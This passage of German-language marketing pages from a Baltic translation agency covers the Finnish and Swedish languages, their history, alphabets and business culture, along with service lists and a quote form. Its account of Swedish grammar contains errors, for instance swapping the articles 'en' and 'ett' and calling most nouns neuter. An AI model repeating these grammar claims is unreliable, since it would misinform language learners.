könne. Es waren die Werke der Vorgänger, welche sich heute in der Universität Turku befinden, von denen sich Elias Lönnrot für seinen Epos inspirieren ließ. Das Epos Kalevala ist von nationaler Bedeutung. Vor dem Kalevala hatten die Finnen und Karelier kein einheitliches literarisches Werk für eine nationale Einheit, weshalb dem Kalevala eine wichtige Rolle bei der Förderung des finnischen Nationalbewusstseins zugeschrieben wird. Genau dieselbe Rolle spielt für die Letten das Epos Lāčplēsis von Andrejs Pumpurs. Das Kalevala gewann vor allem zu Beginn des20. Jahrhunderts an Beliebtheit, als die Finnen und Karelier versuchten, sich vom Russischen Reich loszulösen. Deswegen überrascht es nicht, dass viele finnische Unternehmen Wörter aus der Kalevala verwenden. So war ein Unternehmen mit dem Namen "Leminkainen" im Baugewerbe tätig, während Unternehmen mit den Namen "Sampo" und "Pohjolas" versuchten, im Sozial- und Finanzbereich tätig zu werden. Deswegen macht der 28. Februar, der Kalevala-Tag, welcher die finnische Kultur zelebriert, den Epos ebenfalls zu etwas ganz Besonderem. DAS FINNISCHE ALPHABET Die finnische Sprache verwendet das lateinische Alphabet. Das Alphabet hat folgende Buchstaben: a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s (š), t, u, v, w, x, y, z (ž) å, ä, ö. Die Buchstaben š und ž erscheinen in der Schreibweise von Fremdwörtern und Eigennamen aus anderen Sprachen. Eigennamen aus anderen Sprachen behalten im Finnischen ihre ursprüngliche Schreibweise bei, sie werden nicht verändert. Das finnische Alphabet hat die Struktur des schwedischen Alphabets. Aussprache und Schreibweise sind recht ähnlich und die Aussprache der Vokale kann sowohl lang als auch kurz sein. Ähnlich wie im Schwedischen können Konsonanten auch gedehnt werden (mit Ausnahme der Buchstaben d, v und j), und in der Schrift wird die Dehnung dieser Laute durch die Verwendung eines Doppelbuchstabens gekennzeichnet. Im Finnischen gibt es acht Vokale: a, e, i, o, u, y, ä ja ö und 13-17 Konsonanten: p, t, k,(b), d,(g), m, n, ŋ,(f), s,(š), h, l, r, v und j. Von diesen kommen b, g, f und š vor allem in Fremdwörtern und in der Umgangssprache vor und sind im finnischen Konsonantensystem noch nicht gefestigt. Im Finnischen liegt die Hauptbetonung auf der ersten Silbe. Die Länge von Vokalen und Konsonanten ändert die Bedeutung von Wörtern, was für fast alle Phoneme im Finnischen gilt, z. B. mato („Wurm“) und matto („Teppich“). WIE SCHWER IST DIE FINNISCHE SPRACHE? Wenn man anfängt Finnisch zu lernen, muss man eine völlig ungewohnte und neue Denkweise erlernen, vor allem, wenn die Muttersprache des Lernenden zu einer der Sprachen der indogermanischen Sprachfamilie gehört. Das Finnische, das zur uralischen Sprachfamilie gehört, unterscheidet sich von vielen Sprachen, einschließlich des weit verbreiteten Englischen, welches zu den vielen indoeuropäischen Sprachen gehört. Andererseits könnten die Esten das Finnische besser verstehen als andere, da sowohl Estnisch als auch Finnisch zur gleichen Sprachfamilie gehören. Die finnische Sprache ist schwer zu erlernen. 44 Wochen oder anders gesagt 1100 Lernstunden sind erforderlich, damit der Lernende mit seinen Finnischkenntnissen einen Kaffeeplausch im Büro halten kann. WO UND WIE VIELE MENSCHEN SPRECHEN FINNISCH? Finnisch ist die Muttersprache von ca. 5,23 Millionen Menschen weltweit, ca. 4,8 Millionen Einwohner in Finnland, 300. 000 in Schweden, 50-100. 000 in Ostkarelien und Ingria (Gebiete, die heute zur Russischen Föderation gehören), 12. 000 in Norwegen und einigen Zehntausend verteilt auf der Welt, darunter in den USA und Australien. Gemessen an der Sprecherzahl ist Finnisch nach dem Ungarischen die zweithäufigste uralische Sprache und die gebräuchlichste finno-ugrische Sprache. ÜBERSETZER UND DOLMETSCHER FÜR FINNISCH Unsere Übersetzer, Dolmetscher und Lektoren der finnischen Sprache bearbeiten sowohl Standardübersetzungen von Texten als auch schwierige technische und medizinische Übersetzungen sowie notarielle Übersetzungen. Das Übersetzungsbüro Skrivanek Baltic bietet auch das Korrekturlesen und die stilistische Verbesserung von Texten in finnischer Sprache an. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen des Landes. Die thematische Bandbreite des aus dem Finnischen bzw. ins Finnische übersetzten Materials ist angesichts der häufigen Zusammenarbeit zwischen beiden Ländern in verschiedenen Bereichen - Wirtschaft, Bildung, Kultur usw. - recht groß. Am häufigsten übersetzen wir für Geschäftskunden folgende Texte vom und ins Finnische: Inhalte von Websites und E-Commerce, Werbeslogans, Adaption von Marketingtexten, Kooperationsvereinbarungen und Geschäftsunterlagen. Wir übersetzen auch sequentiell bei geschäftlichen oder anderen Gesprächen, Konferenzen und anderen Veranstaltungen. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DIE FINNISCHE SPRACHE IM GESCHÄFTSLEBEN Der geschäftliche Umgang ändert sich je nach Region und Land. Das kann für eine Person sehr fordernd sein, weil es schwierig ist, gleichzeitig eine Balance zwischen der internationalen Geschäftsetikette und anderen geschäftsbezogenen Aktivitäten zu bewahren. Wenn Sie mit Finnen zusammenarbeiten, ist es wichtig, den finnischen Kommunikationsstil zu verstehen. Überraschend ist, dass die Finnen auch bei der geschäftlichen Korrespondenz ruhig sind. Keine andere Kulturgruppe in den nordischen Ländern hat den Ruf eines zurückgezogenen, zurückhaltenden und spontanen Volkes so verdient wie die Finnen. Man nimmt an, dass Finnen eher langsam sind, weil sie ziemlich ungesprächig sind, wenn es nichts Wichtiges zu bereden gibt. Doch in Wirklichkeit sind sie ruhig, nachdenklich und bis zu einem gewissen Grad stur und distanziert. Und so sind die Finnen auch in einem geschäftlichen Umfeld. Die Finnen suchen nicht den direkten Kontakt und tendieren eher über E-Mails zu kommunizieren. Bei alltäglichen Geschäften ist das ziemlich zeitsparend. Finnen sind Meister im Zeitmanagement und ziehen es vor, ihren Arbeitstag akribisch zu organisieren, um so viel wie möglich zu schaffen. Finnische Unternehmer mögen förmlich erscheinen und zeigen ihre persönliche Seite meist nur vertrauten Menschen. Aber wenn Sie Ihren finnischen Kollegen kennen lernen, wird es vielleicht eine Freundschaft fürs Leben. Finnisch und Schwedisch sind Amtssprachen in Finnland und die Kinder müssen beide Sprachen in der Schule lernen. Für viele Finnen ist Schwedisch die so genannte Zweitsprache, 5,5 % der Bevölkerung sprechen sie. Schwedischsprachige leben eher in Küstennähe und in Ballungsgebieten. Heute ist jedoch Englisch die inoffizielle Zweitsprache der Finnen und immer mehr Menschen sprechen Englisch als Zweitsprache und nicht Schwedisch. Die Finnen sprechen größtenteils fliesend Englisch, das gilt vor allem für die Geschäftswelt. In der Tat verwenden viele finnische Unternehmen Englisch als eine der Unternehmenssprachen, ähnlich wie hier in Lettland. Die Wirtschaftsentwicklung in Finnland kann große Vorteile mit sich bringen, aber die Finnen genießen dies mit Bedacht. Umfassende Kenntnisse der finnischen Geschäftskultur können helfen, anfängliche Vorbehalte zu überwinden und ernsthafte und dauerhafte Beziehungen aufzubauen. Die Finnen sind an Menschen interessiert, die sich für Finnland interessieren. Deshalb ist es wichtig, dass man sich für alles interessiert, was mit der finnischen Sprache, Kultur, Traditionen und Natur zu tun hat. Außerhalb Finnlands wird Finnisch nicht als Geschäftssprache verwendet und in der finnischen Geschäftswelt ist auch Englisch weit verbreitet. Dank der finnischen Unnahbarkeit werden Geschäftsbeziehungen häufig auf dem Korrespondenzweg angebahnt und ausgebaut. FINNLAND UND LETTLAND Die erfolgreichen Beziehungen zwischen Lettland und Finnland beruhen auf dem gemeinsamen Interesse für Stabilität, Sicherheit und Wohlstand im Baltikum und in Europa zu sorgen. Aufgrund ihrer geografischen Nähe arbeiten Lettland und Finnland in den verschiedensten Bereichen und auf den unterschiedlichsten Ebenen - in Wirtschaft, Kultur, Bildung, Verteidigung usw. - eng und praktisch zusammen. Finnland ist der achtgrößte Handelspartner Lettlands und ein wichtiger Investor. Bioökonomie, Maschinenbau, Informationstechnologie, Lebensmittel und Tourismus sind Bereiche, in denen ein großes Kooperationspotenzial sowohl für die Förderung der lettischen Exporte als auch für die Anziehung von Investitionen gesehen wird. In vielen kulturellen Bereichen arbeitet Lettland mit Finnland zusammen. Künstler aus beiden Ländern besuchen häufig internationale Veranstaltungen, die im jeweils anderen Land stattfinden - Ausstellungen, Musik-, Film- und andere Veranstaltungen. Das Interesse der Finnen an der lettischen Literatur wächst, ebenso wie das Interesse der Letten an der finnischen Literatur. 2021 wurde ein Buch von Aleksandrs Čaks und dem finnischen Dichter Heli Laaksonen mit dem Titel Paņēmi manu sirdi no plaukta auf Lettisch veröffentlicht. Der Gedichtband besteht aus 15 Gedichten von Aleksandrs Čaks und 15 Gedichten von Heli Laaksonen, die einen ungewöhnlichen Dialog bilden, als wären sie Antworten auf Čaks' Gedichte. Dies ist bereits das4. Buch des Dichters, das in lettischer Sprache veröffentlicht wurde. Unter Verwendung des livländischen Küstendialekts von Vidzeme hat Guntars Godiņš Gedichte von Heli Laaksonen ins Lettische übersetzt. Heli Laaksonen gilt als ein sehr interessanter und liebenswerter finnischer Dichter. Jeder, der mindestens eines ihrer Gedichte gelesen oder ihrem Interview zugehört hat, wird höchstwahrscheinlich mehr über Finnland, die finnische Kultur und die Menschen erfahren wollen. Die lettischen Universitäten haben im Rahmen des EU-Bildungsprogramms Sokrates/ Erasmus+, der EU-Programme und -Projekte für lebenslanges Lernen sowie der NORDPLUS-Projekte des Bildungsprogramms des Nordischen Ministerrats enge Beziehungen zu finnischen Universitäten aufgebaut. Zahlreiche Studenten aus Finnland studieren an der Rigaer Stradiņš Universität und der Universität von Lettland. Finnisch kann am Rigaer Gymnasium für Nordische Sprachen und im Rahmen des finnisch-ugrischen Bachelor-Studiengangs an der geisteswissenschaftlichen Fakultät der Universität Lettland gelernt werden. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS FINNISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Finnisch; Finnisch nach Lettisch; Estnisch nach Finnisch; Finnisch nach Estnisch; Litauisch nach Finnisch; Finnisch nach Litauisch; Russisch nach Finnisch; Finnisch nach Russisch; Tschechisch nach Finnisch; Finnisch nach Tschechisch; Polnisch nach Finnisch; Finnisch nach Polnisch; Ukrainisch nach Finnisch; Finnisch nach Ukrainisch; Finnisch nach Spanisch; Spanisch nach Finnisch; Deutsch nach Finnisch; Finnisch nach Deutsch; Italienisch nach Finnisch; Finnisch nach Italienisch; Französisch nach Finnisch; Finnisch nach Französisch; Dänisch nach Finnisch; Finnisch nach Dänisch; Norwegisch nach Finnisch; Finnisch nach Norwegisch; Schwedisch nach Finnisch; Finnisch nach Schwedisch; Englisch nach Finnisch, Finnisch nach Englisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS FINNISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Finnisch; Finnisch nach Lettisch; Estnisch nach Finnisch; Finnisch nach Estnisch; Litauisch nach Finnisch; Finnisch nach Litauisch; Russisch nach Finnisch; Finnisch nach Russisch; Tschechisch nach Finnisch; Finnisch nach Tschechisch; Polnisch nach Finnisch; Finnisch nach Polnisch; Ukrainisch nach Finnisch; Finnisch nach Ukrainisch; Finnisch nach Spanisch; Spanisch nach Finnisch; Deutsch nach Finnisch; Finnisch nach Deutsch; Italienisch nach Finnisch; Finnisch nach Italienisch; Französisch nach Finnisch; Finnisch nach Französisch; Dänisch nach Finnisch; Finnisch nach Dänisch; Norwegisch nach Finnisch; Finnisch nach Norwegisch; Schwedisch nach Finnisch; Finnisch nach Schwedisch; Englisch nach Finnisch, Finnisch nach Englisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Lokalisierung und Sprachkurse für Schwedisch. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS SCHWEDISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS SCHWEDISCHE? Die Kosten für die Übersetzung vom und ins Schwedische variieren von Auftrag zu Auftrag. Die Preiskalkulation besteht aus einer Vielzahl von Aspekten. Diese orientieren sich an der Preisliste von Skrivanek. Der Preis für fortlaufende Übersetzungen richtet sich nach dem Zeitaufwand für die Erbringung der Dienstleistung und den Sprachkombinationen, in denen die Übersetzung benötigt wird. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang des zu übersetzenden Materials, dem Abgabetermin der Übersetzung, den Besonderheiten des Inhalts, Wiederholungen im Text, der grafischen Bearbeitung, der Textformatierung sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für schriftliche und mündliche Übersetzungen (simultan und sequentiell), Lokalisierung und Anpassungen vom und ins Schwedische ein fester Bestandteil unserer Kundenverträge. Unsere Projektmanager bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Der Preis für jeden Auftrag wird individuell gemäß der Preisliste von Skrivanek Baltic auf der Grundlage der Wortzahl des Textes, der Textwiederholungen in der Übersetzung und anderer Parameter festgelegt. Damit Sie ein Kostenvoranschlag erhalten können, warten wir auf Ihre Unterlagen in unserer E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenfreien Kostenvoranschlag für eine Übersetzung ins Schwedische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in schwedischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie eine Übersetzung auf Schwedisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE SCHWEDISCHE SPRACHE Die schwedische Sprache gehört zur nordgermanischen Unterfamilie des germanischen Zweigs der indoeuropäischen Sprachfamilie. Sie ist mit dem Norwegischen, Dänischen und Isländischen verwandt, wobei die engste Verwandtschaft mit der dänischen Sprache besteht und die entfernteste mit der norwegischen. Diese Sprache wird von etwa 10 Millionen Menschen gesprochen und ist Amtssprache in Schweden und zweite Amtssprache in Finnland sowie eine der Amtssprachen in der Europäischen Union und im Nordischen Rat. Schweden ist in 6 Dialektgebiete unterteilt, und der ostschwedische Dialekt(östsvenska målen) in Finnland gehört auch dazu. In Schweden werden von Süden nach Norden zwischen den folgenden Dialekte unterschieden: Südschwedische (sydsvenska mål), Götaland (götamål), Gotaland (götländska mål), Svealand (sveamål), Bergslagsmål (bergslagsmål) und Norrland (norrländska mål) Dialekte. Die Unterschiede zwischen den Dialekten zeigen sich in der Aussprache. Dennoch gibt es zahlreiche lokale Dialekte, die für Menschen aus anderen Gebieten schwer verständlich sind. Da alle skandinavischen Sprachen historisch vom Niederdeutschen beeinflusst wurden, können sich auch heute noch Schweden, Finnen und Norweger untereinander verstehen. Man geht davon aus, dass 30-40% der schwedischen Wörter aus dem Niederdeutschen entlehnt sind und diese Ähnlichkeiten sind sowohl im Wortschatz als auch in der Grammatik bemerkbar. Die schwedische Sprache stammt vom Altnordischen ab, das von germanischen Stämmen während der Wikingerzeit gesprochen wurde. Um das8. Jahrhundert begannen sich daraus zahlreiche regionale Sprachformen zu entwickeln, die bis zum11. Jahrhundert zu vier Dialekten wurden und sich zu den modernen nordgermanischen Sprachen - Isländisch, Norwegisch, Dänisch und Schwedisch - weiterentwickelten. Es gibt viele Entlehnungen in der schwedischen Sprache. Die ältesten kommen aus dem Lateinischen, Griechischen, Niederdeutschen und Hochdeutschen und die jüngsten aus dem Französischen und Englischen. Das älteste schwedische Schriftsystem war das Runenalphabet, mit dem bereits im8. Jahrhundert historische Denkmäler verziert wurden. Das lateinische Alphabet wurde im 13. Jahrhundert eingeführt, mit dem Beginn des Zeitraums der altschwedischen Sprache(fornsvenska). Jede Provinz hatte im Mittelalter ihre eigenen Regeln und diese regionalen Gesetze(landskapslagar) sind die ältesten Texte in Schwedisch. Das westrogotische Gesetz(Äldre västgötalagen; um 1225) gilt als der erste Text dieser Art in schwedischer Sprache. Die Sprache hatte eine Fülle von Formen - Verben, die mit Personalpronomen übereinstimmen und vier Substantivkonjugationen (Nominativ, Akkusativ, Dativ, Genitiv). Zu den bedeutendsten schriftlichen Schätzen im Schwedischen zählen die Chroniken, die aus dem14. Jahrhundert stammen. Die Schriftsprache entstand im 17. Jahrhundert und hat zwei Varianten - rikksvenska (in Schweden) und finlandssvenska (in Finnland). Die Schriftsprache basiert auf svealändischen Dialekten. Das erste gedruckte Buch in schwedischer Sprache wurde 1495 veröffentlicht, das erste schwedische Grammatikbuch 1684 (in Latein). 1786 gründete König Gustav III. (Gustaf III. ) die Schwedische Akademie(Svenska Akademien), um „die Reinheit, Stärke und Größe der schwedischen Sprache zu fördern“. Die Schwedische Akademie ist vor allem für die Verleihung des Nobelpreises für Literatur bekannt. Die Akademie vergibt auch andere Auszeichnungen und ist verantwortlich für die Schwedische Akademische Wortliste (Svenska Akademiens ordlista), eine Zusammenstellung standardisierter schwedischer Rechtschreibungen und Wortbildungen, die erstmals 1874 veröffentlicht wurde. Mit der Einführung des Sprachgesetz 2009 wurde Schwedisch zur Hauptsprache in Schweden. Durch das Gesetz soll Schwedisch in der alltäglichen und öffentlichen Kommunikation die Hauptsprache in Schweden sein. Sie kann in allen gesellschaftlichen Bereichen eingesetzt werden, zum Beispiel in der Kommunikation mit staatlichen Einrichtungen. Schwedisch ist auch in Finnland, neben Finnisch, die Amts- und Rechtssprache. Schwedisch ist eine der Amtssprachen in der Europäischen Union. In Schweden gibt es 5 Minderheitensprachen: Finnisch, Meänkieli, Samisch, Romani und Jiddisch. Das schwedische Parlament hat auch der schwedischen Gebärdensprache gesetzlich den Status einer Minderheitensprache verliehen. Das moderne Schwedisch zeichnet sich durch einen informellen Stil und eine warme Art der Kommunikation mit anderen Menschen und staatlichen Einrichtungen aus. Bis auf wenige Ausnahmen werden Personen, auch Fremde mit hohem sozialen Status, mit dem Pronomen du angesprochen. Diese kommunikativen Entwicklungen haben in den 1960er Jahren angefangen. DAS SCHWEDISCHE ALPHABET Die schwedische Schriftsprache verwendet seit dem 13. Jahrhundert das lateinische Alphabet und hat einige Buchstaben hinzugefügt, die im lateinischen Alphabet nicht vorkommen. Das schwedische Alphabet besteht aus 29 Buchstaben. Aus 9 Vokalen (a, e, i, o, u, y, å, ä, ö) und 20 Konsonanten (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Von diesen werden das W und Q nur in Titeln oder Anleihen verwendet. WIE SCHWIERIG IST DIE SCHWEDISCHE SPRACHE? Eine andere Sprache zu verstehen, sprechen und denken ist ein spannender und stets zeitaufwändiger Prozess. Mit einer neuen Fremdsprache wissen wir nicht nur mehr, sondern bekommen auch Einblicke über eine Nation, ein Land, dessen Kultur und Traditionen. Ob Schwedisch eher leicht oder schwer zu Erlernen ist, ist umstritten. Europäer, deren Muttersprache Englisch oder Deutsch ist oder die diese Sprachen gelernt haben, werden es nicht sehr schwer haben, Schwedisch zu erlernen. Zunächst einmal gibt es im Schwedischem viele Entlehnungen aus diesen Sprachen. Ab dem20. Jahrhundert wurde die schwedische Grammatik schrittweise vereinfacht, die Pluralformen der Verben wurden nicht mehr verwendet und es gab nur noch zwei Konjugationen. Es gibt entweder allgemeine oder sächliche Nomen. Die meisten Nomen sind im Neutrum. Nomen im Neutrum werden mit dem Artikel en gekennzeichnet, allgemeine Substantive mit ett. Im Schwedischen gibt es interessanterweise bestimmte und unbestimmte Nomen. Adjektive werden den Substantiven nach Geschlecht und Zahl zugeordnet - die Endungen der Adjektive hängen von dem Substantiv ab, mit dem das Adjektiv gepaart ist. Im Schwedischen gibt es, wie im Lettischen, subordinierte und koordinierte Konjunktionen. Der Satzbau ist fest strukturiert. Die Aussprache könnte etwas schwieriger sein, da es zwei Intonationen gibt, die die Wortbedeutung verändern können. Aber genau diese Intonationen machen Schwedisch zu einer sehr melodischen und schönen Sprache. Schwedisch zu lernen bringt auch den großen Vorteil, direkt Norwegisch und Dänisch zu verstehen. Nach Angaben des Foreign Service Institute in den USA sind 750 Lernstunden erforderlich, um fließend Schwedisch zu sprechen. DOLMETSCHER UND ÜBERSETZER FÜR DIE SCHWEDISCHE SPRACHE Die Dolmetscher und Übersetzer von Skrivanek bietet sowohl schriftliche Standardübersetzungen als auch technische Übersetzungen und notariell beglaubigte Übersetzungen an. Wir bieten auch das Korrekturlesen und die stilistische Verbesserung von Texten auf Schwedisch an. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Alle Übersetzer, Dolmetscher, Korrekturleser und Redakteure stehen unter einer Vertraulichkeitserklärung. Deshalb können Sie uns Ihre Originaltexte anvertrauen. Am häufigsten übersetzen wir für Geschäftskunden folgende Texte vom und ins Schwedische: Website- und E-Commerce-Inhalte, Werbeslogans, Marketingtexte, Kooperationsverträge, Geschäftsunterlagen und technische Texte. Wir bieten auch sequentielle Übersetzungen bei geschäftlichen oder anderen Veranstaltungen an. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. WO UND WIE VIELE MENSCHEN SPRECHEN SCHWEDISCH? Weltweit gibt es etwa 10 Millionen schwedischsprachige Menschen, die meisten davon in Schweden (9,4 Millionen). Schwedisch, das von der Mehrheit der schwedischen Bevölkerung gesprochen wird, ist ihre Mutter- oder Zweitsprache. Schwedisch ist die Muttersprache von 5% der finnischen Bevölkerung (rund 290. 000 Menschen). Schwedisch ist ein Pflichtfach für finnischsprachige Schüler, daher sprechen oder verstehen viele Menschen in Finnland Schwedisch. Wie vertraut die Finnen mit dem Schwedischem sind, hängt jedoch von der Region ab, in der sie leben. In Finnlands autonomer Landschaft Åland wird praktisch nur Schwedisch gesprochen. Seit Hunderten von Jahren leben schwedischsprachige Menschen in den Küstenregionen Estlands. Die meisten von ihnen suchten während des Zweiten Weltkriegs Zuflucht in Schweden. Aufgrund der großen Auswanderungswelle aus Nordeuropa nach Nordamerika Ende des19. und Anfang des20. Jahrhunderts gibt es viele US-Bürger schwedischer Herkunft (70. 000) und ein großer Teil von ihnen versucht, die Muttersprache ihrer Vorfahren beizubehalten. In Kanada gibt es etwa 20. 000 schwedischsprachige Menschen und auch in Spanien und England gibt es eine kleine schwedische Diaspora. In dem so genannten alten schwedischen Dorf Staroshvedske (Gammalsvenskby(Gammölsvänskbi)) im Süden der Ukraine lebte einst eine kleine Anzahl schwedischsprachiger Menschen, als sie Ende des18. Jahrhunderts aus Estland verbannt wurden. DIE SCHWEDISCHE SPRACHE IN DER GESCHÄFTSWELT Meistens wird Schwedisch nur für die geschäftliche Zusammenarbeit mit den skandinavischen Ländern verwendet. Obwohl sie eine der Amtssprachen der EU ist, spielt sie im internationalen Geschäftsverkehr keine große Rolle. Schulen und Kurse zum Erlernen der schwedischen Sprache werden in vielen europäischen Ländern immer beliebter und immer mehr Menschen wollen diese Sprache lernen, da sie die Möglichkeit bietet, in Unternehmen, die mit schwedischen Unternehmern zusammenarbeiten, einen gut bezahlten Arbeitsplatz zu finden. SCHWEDEN UND LETTLAND Lettland und Schweden sind durch gemeinsame historische Ereignisse und eine aktive Zusammenarbeit auf beiden Seiten verbunden, die sich auf eine enge Kommunikation auf allen Ebenen und in allen Bereichen sowie auf das gemeinsame Ziel stützt, für Stabilität, Wohlstand und Sicherheit im Ostseeraum und in Europa im Allgemeinen zu sorgen. Schweden ist einer der wichtigsten wirtschaftlichen Kooperationspartner Lettlands. Die schwedische Botschaft, die am 29. August 1991 ihre Türen in Riga geöffnet hat, war eine der ersten ausländischen Botschaften im wieder unabhängigen Lettland. Im Jahr 2019 wurde der schwedisch-lettische Kooperationsfonds eingerichtet. Sein Hauptziel ist es, die Zusammenarbeit zwischen beiden Ländern durch die Förderung des Austauschs von Kontakten, Wissen und Informationen zu erleichtern und die lettische Sprache in Schweden und umgekehrt zu verbreiten. Es gibt einen regen Austausch im Bereich der Kunst mit Schweden. Enge Beziehungen verbinden lettische und schwedische Museums- und Denkmalschutzexperten. Zusammenarbeit in den Bereichen Bibliotheken, Kulturerbe, Theater, Tanz usw. finden auch im Rahmen verschiedener internationaler Veranstaltungen statt. Im Jahr 2014 waren Riga und die schwedische Stadt Umeå Kulturhauptstädte Europas. Um den kulturellen Reichtum und die Vielfalt in Europa und der Welt hervorzuheben, wurden auch eine Reihe gemeinsamer Projekte zwischen den beiden Städten durchgeführt und Kontakte für eine künftige Zusammenarbeit geknüpft. Die erfolgreiche Zusammenarbeit mit Schweden wurde durch das Ethnografische Freilichtmuseum von Lettland ins Rollen gebracht. Das Museum wurde nach dem Vorbild des Skansen-Museums in Schweden gegründet. Auch die schwedische Nationalbibliothek ist seit langen Jahren in Zusammenarbeit mit der Nationalbibliothek Lettlands. Schwedische Schriftsteller und Übersetzer besuchen häufig das Internationale Schriftsteller- und Übersetzerhaus in Ventspils. Nach der Unabhängigkeitserklärung Lettlands leistete Schweden einen wichtigen Beitrag zur Gründung und Entwicklung der Stockholm School of Economics in Riga (seit 1994) und der Riga Graduate School of Law (seit 1997). Beide Universitäten bieten eine sehr wettbewerbsfähige Ausbildung auf internationalem Niveau an. Studierende und Lehrkräfte aus beiden Ländern nutzen die Studienmöglichkeiten im jeweils anderen Land. Die lettischen Universitäten arbeiten bereits erfolgreich mit Schweden im Rahmen der EU-Programme BRILLIANT, ERASMUS + und CAMART zusammen. Die lettische Kulturakademie bietet ein Studienprogramm "Interkulturelle Kommunikation - Schweden" an. Auch an der Universität von Lettland kann man Schwedisch studieren. Lettisch als Fremdsprache kann man hingegen an der Universität Stockholm lernen. Die Interessen der schwedischen Bürger in Lettland werden von der schwedischen Botschaft in Lettland vertreten. DIE GEFRAGTESTEN DIENSTLEISTUNGEN VOM/INS SCHWEDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierungen; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Schwedisch; Schwedisch nach Lettisch; Estnisch nach Schwedisch; Schwedisch nach Estnisch; Litauisch nach Schwedisch; Schwedisch nach Litauisch; Russisch nach Schwedisch; Schwedisch nach Russisch; Tschechisch nach Schwedisch; Schwedisch nach Tschechisch; Polnisch nach Schwedisch; Schwedisch nach Polnisch; Ukrainisch nach Schwedisch; Schwedisch nach Ukrainisch; Schwedisch nach Spanisch; Spanisch nach Schwedisch; Deutsch nach Schwedisch; Schwedisch nach Deutsch; Italienisch nach Schwedisch; Schwedisch nach Italienisch; Französisch nach Schwedisch; Schwedisch nach Französisch; Dänisch nach Schwedisch; Schwedisch nach Dänisch; Norwegisch nach Schwedisch; Schwedisch nach Norwegisch; Englisch nach Schwedisch; Schwedisch nach Englisch; Finnisch nach Schwedisch; Schwedisch nach Finnisch und andere. DIE GEFRAGTESTEN DIENSTLEISTUNGEN VOM/INS SCHWEDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierungen; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Schwedisch; Schwedisch nach Lettisch; Estnisch nach Schwedisch; Schwedisch nach Estnisch; Litauisch nach Schwedisch; Schwedisch nach Litauisch; Russisch nach Schwedisch; 